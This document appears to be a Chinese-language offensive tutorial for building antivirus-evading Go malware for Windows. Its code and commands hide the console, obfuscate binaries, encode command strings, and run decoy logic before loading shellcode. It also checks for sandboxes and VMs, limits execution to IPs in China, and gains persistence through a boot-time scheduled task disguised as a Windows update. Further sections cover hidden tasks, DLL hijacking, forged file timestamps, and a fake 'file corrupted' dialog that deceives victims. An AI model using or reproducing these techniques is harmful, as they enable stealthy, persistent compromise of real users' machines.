隐藏黑框
1
2
3
4
5
package main
import "github.com/lxn/win"
func main(){
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}
1
2
3
4
5
6
7
8
func box()int{
FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")
FreeConsole.Call()
return 0
}
func main() {
box()
静态特征处理
混淆处理
go低版本 https://github.com/boy-hack/go-strip
go高版本 https://github.com/burrowers/garble
mangle替换字符串
https://github.com/optiv/Mangle
1
Mangle.exe -I xxx.exe -M -O out.exe
mangle处理前后对比,可发现对go编译特征字符串替换为随机字符
base64编码变量
1
cmd := exec.Command("rundll32.exe", "xxx")
关键字符串进行Base64编码,并在相应位置替换变量值
1
2
3
4
5
6
7
8
encodedCommand := "cnVuZGxsMzIuZXhl"
encodedArguments := "MTExTdGFydA=="
// 解码Base64编码的命令和参数
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)
cmd := exec.Command(string(decodedCommand), string(decodedArguments))
QVM绕过
添加资源
1、添加图标签名版权等信息内容,可使用以下项目一键添加
https://github.com/Pizz33/360QVM_bypass https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public https://github.com/langsasec/Sign-Sacker
行为特征
运行直接加载shellcode,一般会直接报qvm病毒
先执行正常行为再进行shellcode加载,qvm无报毒,以下是示例,可根据实际情况进行调整
1
2
3
4
5
6
7
8
9
10
func main() {
num1 := 5
num2 := 3
result := 0
// 使用for循环来进行乘法运算
for i := 0; i < num2; i++ {
result += num1
}
反沙箱技巧
使用质数运算延迟执行
检测系统开机时间是否大于某个设定值
检测物理内存是否大于4G
检测CPU核心数是否大于4
检测文件名是否修改
检测磁盘大小是否大于100G
判断是否有参数代入
Anti VM:反虚拟机
- 检测进程名
- 检测注册表
- 检测磁盘中文件
出口IP判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
func san() {
url := "https://myip.ipip.net/"
resp, err := http.Get(url)
if err != nil {
os.Exit(1)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
os.Exit(1)
}
content := string(body)
if strings.Contains(content, "中国") {
} else {
os.Exit(1)
}
}
检测桌面文件数量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
func desktop() {
desktopPath, err := os.UserHomeDir()
if err != nil {
fmt.Println("无法获取用户桌面路径:", err)
return
}
desktopPath = filepath.Join(desktopPath, "Desktop")
fileCount, err := countFilesInDir(desktopPath)
if err != nil {
fmt.Println("无法读取用户桌面文件列表:", err)
return
}
fmt.Println("用户桌面文件数:", fileCount)
if fileCount < 7 {
os.Exit(0)
}
// 在这里编写你的其他代码逻辑
}
检测微信等常见软件
1
2
3
4
5
6
7
8
9
10
11
12
func CheckWeChatExist() {
k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)
if err != nil {
os.Exit(0)
}
defer k.Close()
s, _, err := k.GetStringValue("InstallDir")
if err != nil || s == "" {
os.Exit(0)
}
}
检测pagefile.sys
1
2
3
4
5
6
7
8
9
func sys() {
pageFilePath := "C:\\pagefile.sys"
_, err := os.Stat(pageFilePath)
if os.IsNotExist(err) {
os.Exit(1)
} else if err != nil {
} else {
}
}
判断系统类型
1
2
3
4
5
6
7
8
func language() {
language := os.Getenv("LANG")
if strings.Contains(language, "en_US") {
os.Exit(0)
} else {
}
}
执行命令bypass
BOF
进程迁移 https://github.com/ajpc500/BOFs 截图 https://github.com/baiyies/ScreenshotBOFPlus 删除自身 https://github.com/AgeloVito/self_delete_bof bypassuac提权 https://github.com/youcannotseemeagain/ele
权限维持
计划任务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package main
import (
"os"
"github.com/capnspacehook/taskmaster"
)
func runWinTask(path string) {
// 创建初始化计划任务
taskService, _ := taskmaster.Connect()
defer taskService.Disconnect()
// 定义新的计划任务
newTaskDef := taskService.NewTaskDefinition()
// 添加执行程序的路径
newTaskDef.AddAction(taskmaster.ExecAction{
Path: path,
})
// 定义计划任务程序的执行时间等,设置为开机启动
newTaskDef.AddTrigger(taskmaster.BootTrigger{
TaskTrigger: taskmaster.TaskTrigger{
Enabled: enable,
},
})
// 创建计划任务
result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)
result=result
}
func main() {
path, err := os.Executable()
if err != nil {
return
}
runWinTask(path)
}
隐藏计划任务
具体原理可参考0x727师傅的文章
https://github.com/0x727/SchTask_0x727 https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html
- 选择主机随机进程名作为计划任务程序文件名
- 将计划任务程序文件复制到
%AppData%\Microsoft\Windows\Themes\
- 创建的计划任务名取同一随机进程
- 计划任务触发器以分钟为单位,无限期持续
- 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件
dll劫持替换
比较常用的有 C:\Program Files (x86)\Google\Update
当 GoogleUpdate.exe
程序运行的时候,会调用当前目录下的 goopdate.dll
文件
单个查找
https://github.com/wietze/windows-dll-hijacking
批量查找
https://github.com/knight0x07/ImpulsiveDLLHijack
1
ImpulsiveDLLHijack.exe -path xxx.exe
这里使用navicat
进行测试,可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll
修改文件时间
https://github.com/MsF-NTDLL/ChTimeStamp
查看net版本
1
shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r
需要安装net3.5 没有安装一下
1
2
shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs
https://github.com/MsF-NTDLL/ChTimeStamp
1
2
shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll
shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll
https://github.com/sorabug/ChangeTimestamp
1
ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27
弹框错误提示
1
2
3
4
5
6
7
8
9
10
11
12
package main
import (
"github.com/gen2brain/dlgs"
)
func box() {
_, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开")
if err != nil {
panic(err)
}
}